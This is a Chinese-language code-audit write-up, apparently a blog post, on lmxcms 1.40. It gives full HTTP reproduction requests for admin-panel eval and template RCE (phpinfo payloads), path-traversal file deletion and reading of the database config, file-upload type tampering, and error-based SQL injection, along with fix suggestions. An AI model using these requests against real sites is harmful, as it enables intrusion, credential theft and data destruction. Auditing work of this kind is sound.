5、lxmcms1.40代码审计

一、RCE

1、RCE代码执行

代码

搜索代码执行关键字,找到函数里存在变量的文件

在这里插入图片描述

跟踪一下$temdata['data']
$data是从$temdata赋值的,$temdata从314行过来的,有个caijiDataOne函数接收的$_GET['cid'],也没有对变量做处理。

在这里插入图片描述

已知查询的数据库表是cj_data

在这里插入图片描述

要执行eval的话先触发showCjData()方法,在依次接收变量,控制变量cid结果为$temdata,在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发,不是从这个功能写入的。

在这里插入图片描述

定位到这个文件在admin下。再去看一下路由情况,先登录后台

在这里插入图片描述
在这里插入图片描述

所以可以将文件直接替换,定位到功能位置。但实际是从'执行sql'功能写入的内容

在这里插入图片描述

漏洞条件:

参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符,//注释掉后面的
● 漏洞url: url1:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
url2:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
● 漏洞参数:sqlstr
● 是否存在限制: 
● 是否还有其他条件:m=Sql&a=sqlset;m=Acquisi&a=showCjData&cid=1&id=1&lid=1

复现

POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close

sqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4
在这里执行一条sql语句将内容插入cj_data表中。查询的主要是id和data所以只需要插入这两个字段。
INSERT INTO lmx_cj_data (id, data) VALUES ('5', '666;phpinfo();//');

在这里插入图片描述

GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close


在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

2、后台代码执行

代码

搜索smarty模板。一般模板功能会出现eval函数的执行,因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件html。admin目录下的template文件。

在这里插入图片描述

在执行文件写入的时候也不会有限制

在这里插入图片描述

通过文件找到对应功能位置,果然是在模板调用时。

在这里插入图片描述

打开一个尾部html,发现和页面显示不同。要么是存储的变量,变量等于1.4。或者写道数据库了,通过model曾去出1.4然后显示。因为是个html文件,不能执行php代码,所以会引用eval强制执行造成rce

在这里插入图片描述

漏洞条件:

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
● 漏洞参数:temcontent
● 是否存在限制: 
● 是否还有其他条件:使用smarty模板,m=Template

复现

POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: close

temcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4
查看如何编写这个标签

在这里插入图片描述
在这里插入图片描述

提交后访问前台首页

在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

二、文件操作

1、后台文件上传

漏洞条件

● 漏洞url: url1:http://lmxcmm1.41.com/admin.php?&m=basic&a=set
  url2:http://lmxcmm1.41.com/admin.php?m=Upload&a=swfuploadImg
● 漏洞参数:upload_file_pre、upload_image_pre、q_upload_file_pre
● 是否存在限制: 
● 是否还有其他条件:

复现

可以直接设置上传的文件类型

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、后台2处任意文件删除

代码

第一处:$filename = trim($_GET['filename']);,判断文件是否存在,如果 $filename 不为空,代码则调用 $this->delOne($filename); 方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
第二处:$filename = $_POST['filename'];。如果获得的'filename'参数有值,它将对数组中的每一个元素(也就是每一个文件名)调用$this->delOne($v);方法,尝试删除对应的备份文件。
都调用了delOne()方法。

在这里插入图片描述

漏洞条件:

● 漏洞url: url1:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txt
  url2:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
● 漏洞参数:filename、filename[]
● 是否存在限制: 
● 是否还有其他条件:m=Backdb;a=delbackdb/  a=delmorebackdb

复现

第一处:
GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close


在这里插入图片描述

第二处
POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

filename%5B%5D=../../1.txt

在这里插入图片描述

修复建议

仔细验证和过滤用户输入,确保删除请求的文件名仅包含安全、有效的字符,并且限制在预设的文件目录中。其次,实施权限控制,只允许具有适当权限的用户执行删除操作。

3、任意文件读取

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
● 漏洞参数:dir
● 是否存在限制: 
● 是否还有其他条件:m=Template&a=editfile&dir

复现

GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
Host: lmxcmm1.41.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://lmxcmm1.41.com
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
Connection: close


在这里插入图片描述

代码

file_get_contents搜索文件读取函数并且存在变量的。
检查 $path 指向的是否是一个文件,如果是,尝试读取文件内容。
如果不存在返回错误信息,否则返回读取的内容

在这里插入图片描述

跟踪getcon,TemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数

在这里插入图片描述

修复建议

对所有用户输入文件路径的处理进行严格的检查和清理,并确保仅限于访问安全、隔离的目录且拥有适当的权限。

三、SQL注入

1、后台sql注入

$name = trim($_POST['curr']); 判断$name变量存在就拼接where  sql语句

在这里插入图片描述
count–>countModel–>countDB–>query
同样跟踪到query会有报错语句回显
在这里插入图片描述

漏洞条件:

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
● 漏洞参数:curr
● 是否存在限制: 
● 是否还有其他条件:m=Zt&a=ajax_data

复现

POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA

在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。

2、后台sql注入

代码

条件满足需要$_GET['searchSub']存在。接收name变量,然后拼接where查询语句

在这里插入图片描述

上面的这两个满不满足都可以
$classid = (int)$_GET['classid'];
$idStr = $_GET['id'];

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php?name=2&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2
● 漏洞参数:name
● 是否存在限制: 
● 是否还有其他条件:m=Zt&a=list_push&searchSub

复现

GET /admin.php?name=2'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Zt&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close


在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。
  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值